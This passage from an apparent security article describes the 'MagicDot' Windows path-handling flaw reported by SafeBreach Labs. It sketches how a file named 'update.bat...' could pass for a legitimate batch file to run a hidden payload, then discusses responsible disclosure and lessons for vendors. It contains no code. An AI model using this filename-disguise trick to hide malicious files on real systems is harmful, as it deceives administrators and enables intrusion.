Suppose an attacker wants to execute a malicious script without detection. They might create a file named update.bat... on a system. Here’s how they could leverage the MagicDot vulnerability:

• Creation: The attacker uploads update.bat... via a compromised email attachment or through a web download.
• Execution Ambiguity: The file might be displayed as update.bat in some administrative tools, leading system administrators to believe it’s a legitimate batch file for updates.
• System Manipulation: When executed (either by an auto-run setup or manual execution), the system runs the malicious update.bat..., believing it to be benign, allowing the attacker to execute a payload that could steal data, install further malware, or create backdoors.

Implications for Software Vendors

Upon discovering such vulnerabilities, researchers typically engage in a responsible disclosure process with the vendor, in this case likely Microsoft. This includes privately informing Microsoft of the vulnerabilities, allowing them time to verify and develop a fix before any public disclosure. Microsoft would then acknowledge the issue, investigate, and replicate the findings, followed by developing and releasing a patch. They would also issue a detailed advisory that includes mitigation guidance and a CVE number for tracking. The findings from SafeBreach Labs underscore a crucial reminder for software developers—known issues, even if longstanding and seemingly minor, can pose serious security risks if left unaddressed. This case study emphasizes the need for thorough assessments and updates to existing software infrastructures to prevent potential exploits.

The study not only exposes specific vulnerabilities but also proposes actionable insights for software vendors on maintaining and enhancing security protocols. As vulnerabilities like these are widespread and not limited to a single software product, the implications are broad and warrant a systemic review by all software vendors to safeguard against similar exploits.

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